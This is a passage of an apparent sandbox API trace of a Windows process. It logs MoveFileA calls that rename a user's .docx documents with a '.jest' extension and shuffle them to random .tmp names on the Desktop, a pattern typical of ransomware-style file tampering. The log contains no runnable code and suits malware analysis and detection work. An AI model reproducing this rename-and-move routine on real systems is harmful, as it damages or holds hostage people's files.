HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0145.170] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png") returned 1 [0145.171] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png") returned 1 [0145.172] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FAX9sCf -DfPohheLS67.docx", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FAX9sCf -DfPohheLS67.docx", lpFilePart=0x18e708*="FAX9sCf -DfPohheLS67.docx") returned 0x41 [0145.172] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FAX9sCf -DfPohheLS67.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fax9scf -dfpohhels67.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\el-t_6yr4- tv85_ze82b8q_iztbv8h3edictz9z1oqfmloojfu4bmpverx8yfvc5tjk-r6yybyzfm-idoho946fl6cf4psnypfpz.tmp")) returned 0 [0145.172] GetLastError () returned 0x2 [0145.172] GetLastError () returned 0x2 [0145.172] SetLastError (dwErrCode=0x2) [0145.172] GetLastError () returned 0x2 [0145.172] SetLastError (dwErrCode=0x2) [0145.172] GetLastError () returned 0x2 [0145.173] SetLastError (dwErrCode=0x2) [0145.173] GetFullPathNameA (in: lpFileName="el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpFilePart=0x18e6e4*="el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp") returned 0x8f [0145.173] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\el-t_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x742d6c65, cFileName="_6Yr4- Tv85_ze82b8Q_iZtBv8H3eDIctZ9z1OqFMlooJFu4bMpVERX8yfVc5Tjk-r6yybYZFm-iDOho946FL6cF4psNYpfPZ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.173] GetLastError () returned 0x2 [0145.173] GetLastError () returned 0x2 [0145.173] SetLastError (dwErrCode=0x2) [0145.174] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.174] CoFreeUnusedLibraries () [0145.174] GetTickCount () returned 0x11561df [0145.174] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.174] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.174] GetTickCount () returned 0x11561df [0145.174] IsWindowVisible (hWnd=0x30268) returned 0 [0145.174] Sleep (dwMilliseconds=0x0) [0145.175] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TlAghbqg1Yt.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tlaghbqg1yt.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TlAghbqg1Yt.docx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tlaghbqg1yt.docx.jest")) returned 1 [0145.176] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TlAghbqg1Yt.docx", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TlAghbqg1Yt.docx", lpFilePart=0x18e6d8*="TlAghbqg1Yt.docx") returned 0x38 [0145.176] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TlAghbqg1Yt.docx", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0145.176] GetLastError () returned 0x2 [0145.177] VarBstrFromR4 (in: fltIn=0x47944d78, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75930.94") returned 0x0 [0145.177] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.177] CoFreeUnusedLibraries () [0145.177] GetTickCount () returned 0x11561df [0145.177] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.177] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.177] GetTickCount () returned 0x11561df [0145.177] IsWindowVisible (hWnd=0x30268) returned 0 [0145.177] Sleep (dwMilliseconds=0x0) [0145.178] GetFullPathNameA (in: lpFileName="RgyDSPiGgVpQPV_qWPtcykR4TlHzq5NPCC 7f_8M-pt71cV32zw EZDCnKfcLZf5QHZ8tRY0xvJD0qjji3610CjXPDlLcWtkhJRM_.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RgyDSPiGgVpQPV_qWPtcykR4TlHzq5NPCC 7f_8M-pt71cV32zw EZDCnKfcLZf5QHZ8tRY0xvJD0qjji3610CjXPDlLcWtkhJRM_.tmp", lpFilePart=0x18e708*="RgyDSPiGgVpQPV_qWPtcykR4TlHzq5NPCC 7f_8M-pt71cV32zw EZDCnKfcLZf5QHZ8tRY0xvJD0qjji3610CjXPDlLcWtkhJRM_.tmp") returned 0x8f [0145.178] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TlAghbqg1Yt.docx", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TlAghbqg1Yt.docx", lpFilePart=0x18e708*="TlAghbqg1Yt.docx") returned 0x38 [0145.178] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TlAghbqg1Yt.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tlaghbqg1yt.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RgyDSPiGgVpQPV_qWPtcykR4TlHzq5NPCC 7f_8M-pt71cV32zw EZDCnKfcLZf5QHZ8tRY0xvJD0qjji3610CjXPDlLcWtkhJRM_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rgydspiggvpqpv_qwptcykr4tlhzq5npcc 7f_8m-pt71cv32zw ezdcnkfclzf5qhz8try0xvjd0qjji3610cjxpdllcwtkhjrm_.tmp")) returned 0 [0145.179] GetLastError () returned 0x2 [0145.179] GetLastError () returned 0x2 [0145.179] SetLastError (dwErrCode=0x2) [0145.179] GetLastError () returned 0x2 [0145.179] SetLastError (dwErrCode=0x2) [0145.179] GetLastError () returned 0x2 [0145.179] SetLastError (dwErrCode=0x2) [0145.179] GetFullPathNameA (in: lpFileName="RgyDSPiGgVpQPV_qWPtcykR4TlHzq5NPCC 7f_8M-pt71cV32zw EZDCnKfcLZf5QHZ8tRY0xvJD0qjji3610CjXPDlLcWtkhJRM_.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RgyDSPiGgVpQPV_qWPtcykR4TlHzq5NPCC 7f_8M-pt71cV32zw EZDCnKfcLZf5QHZ8tRY0xvJD0qjji3610CjXPDlLcWtkhJRM_.tmp", lpFilePart=0x18e6e4*="RgyDSPiGgVpQPV_qWPtcykR4TlHzq5NPCC 7f_8M-pt71cV32zw EZDCnKfcLZf5QHZ8tRY0xvJD0qjji3610CjXPDlLcWtkhJRM_.tmp") returned 0x8f [0145.179] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RgyDSPiGgVpQPV_qWPtcykR4TlHzq5NPCC 7f_8M-pt71cV32zw EZDCnKfcLZf5QHZ8tRY0xvJD0qjji3610CjXPDlLcWtkhJRM_.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x44796752, cFileName="SPiGgVpQPV_qWPtcykR4TlHzq5NPCC 7f_8M-pt71cV32zw EZDCnKfcLZf5QHZ8tRY0xvJD0qjji3610CjXPDlLcWtkhJRM_.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.179] GetLastError () returned 0x2 [0145.179] GetLastError () returned 0x2 [0145.179] SetLastError (dwErrCode=0x2) [0145.180] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.180] CoFreeUnusedLibraries () [0145.180] GetTickCount () returned 0x11561df [0145.180] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.180] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.180] GetTickCount () returned 0x11561df [0145.180] IsWindowVisible (hWnd=0x30268) returned 0 [0145.180] Sleep (dwMilliseconds=0x0) [0145.181] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mQAq.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mqaq.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mQAq.docx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mqaq.docx.jest")) returned 1 [0145.182] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mQAq.docx", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mQAq.docx", lpFilePart=0x18e6d8*="mQAq.docx") returned 0x31 [0145.182] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mQAq.docx", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0145.182] GetLastError () returned 0x2 [0145.182] VarBstrFromR4 (in: fltIn=0x47944d7a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75930.95") returned 0x0 [0145.183] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.183] CoFreeUnusedLibraries () [0145.183] GetTickCount () returned 0x11561ef [0145.183] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.183] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.183] GetTickCount () returned 0x11561ef [0145.183] IsWindowVisible (hWnd=0x30268) returned 0 [0145.183] Sleep (dwMilliseconds=0x0) [0145.184] GetFullPathNameA (in: lpFileName="rzTkV2Bxr4KeBA_l0MsIaaQYFhiboYYvO __gqJ_dB8Wi17U7wyoqs8 zYqZ9IFqLgual-3awSgo_Irm3zH5t 3m5lWZ U7JuEgOo.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rzTkV2Bxr4KeBA_l0MsIaaQYFhiboYYvO __gqJ_dB8Wi17U7wyoqs8 zYqZ9IFqLgual-3awSgo_Irm3zH5t 3m5lWZ U7JuEgOo.tmp", lpFilePart=0x18e708*="rzTkV2Bxr4KeBA_l0MsIaaQYFhiboYYvO __gqJ_dB8Wi17U7wyoqs8 zYqZ9IFqLgual-3awSgo_Irm3zH5t 3m5lWZ U7JuEgOo.tmp") returned 0x8f [0145.184] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mQAq.docx", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mQAq.docx", lpFilePart=0x18e708*="mQAq.docx") returned 0x31 [0145.184] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mQAq.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mqaq.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rzTkV2Bxr4KeBA_l0MsIaaQYFhiboYYvO __gqJ_dB8Wi17U7wyoqs8 zYqZ9IFqLgual-3awSgo_Irm3zH5t 3m5lWZ U7JuEgOo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rztkv2bxr4keba_l0msiaaqyfhiboyyvo __gqj_db8wi17u7wyoqs8 zyqz9ifqlgual-3awsgo_irm3zh5t 3m5lwz u7juegoo.tmp")) returned 0 [0145.184] GetLastError () returned 0x2 [0145.184] GetLastError () returned 0x2 [0145.184] SetLastError (dwErrCode=0x2) [0145.184] GetLastError () returned 0x2 [0145.185] SetLastError (dwErrCode=0x2) [0145.185] GetLastError () returned 0x2 [0145.185] SetLastError (dwErrCode=0x2) [0145.185] GetFullPathNameA (in: lpFileName="rzTkV2Bxr4KeBA_l0MsIaaQYFhiboYYvO __gqJ_dB8Wi17U7wyoqs8 zYqZ9IFqLgual-3awSgo_Irm3zH5t 3m5lWZ U7JuEgOo.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rzTkV2Bxr4KeBA_l0MsIaaQYFhiboYYvO __gqJ_dB8Wi17U7wyoqs8 zYqZ9IFqLgual-3awSgo_Irm3zH5t 3m5lWZ U7JuEgOo.tmp", lpFilePart=0x18e6e4*="rzTkV2Bxr4KeBA_l0MsIaaQYFhiboYYvO __gqJ_dB8Wi17U7wyoqs8 zYqZ9IFqLgual-3awSgo_Irm3zH5t 3m5lWZ U7JuEgOo.tmp") returned 0x8f [0145.185] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rzTkV2Bxr4KeBA_l0MsIaaQYFhiboYYvO __gqJ_dB8Wi17U7wyoqs8 zYqZ9IFqLgual-3awSgo_Irm3zH5t 3m5lWZ U7JuEgOo.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6b547a72, 